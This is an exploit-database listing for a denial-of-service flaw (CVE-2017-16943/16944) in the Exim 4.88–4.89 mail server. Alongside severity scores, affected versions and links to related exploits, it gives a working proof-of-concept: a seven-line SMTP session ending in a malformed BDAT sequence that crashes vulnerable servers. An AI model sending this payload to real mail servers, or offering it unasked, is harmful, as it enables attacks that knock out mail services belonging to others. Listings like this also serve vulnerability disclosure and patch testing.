Exploit for Exim 4.89 - 'BDAT' Denial of Service

CVE-2017-16944 CVE-2017-16943 CVE-2017-16944

seebug · 2017-11-29

Description

Exim 4.89 SMTP Daemon Vulnerabilitie

Affected Exim versions

Exim= 4.88, 4.89

All known vulnerabilities by product

Alt Linux Exim Suse Ubuntu

CVSS Score

7.5

HIGH SEVERITY

VectorAV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/

EPSS Score

63.3%higher than 99.1% of all CVEs

Updated 2026-08-25

Exploit Details

Modified:2017-11-29 00:00

Last Seen:2017-12-25 18:31

Reporter:Root

Tags

eximsmtpvulnerabilitiesremote code executiondenial of serviceunix systemsmessage transfer agentbdat command

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Exim Use-After-Free Exploit

2017-11-30 botZDTC

Exim Use-After-Free(CVE-2017-16943)

2017-11-28 RootSEEBUGPython

Exim 4.89 - BDAT Denial of Service Exploit

2017-11-27 mehZDT

Exim 4.89 - 'BDAT' Denial of Service

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Exim 4.89 Denial Of Service

2017-11-27 mehPACKETSTORM

Exploit Code

MARKDOWN7 lines

## https://sploitus.com/exploit?id=SSV:96905
EHLO localhost
MAIL FROM:<test@localhost>
RCPT TO:<test@localhost>
BDAT 10
.
BDAT 0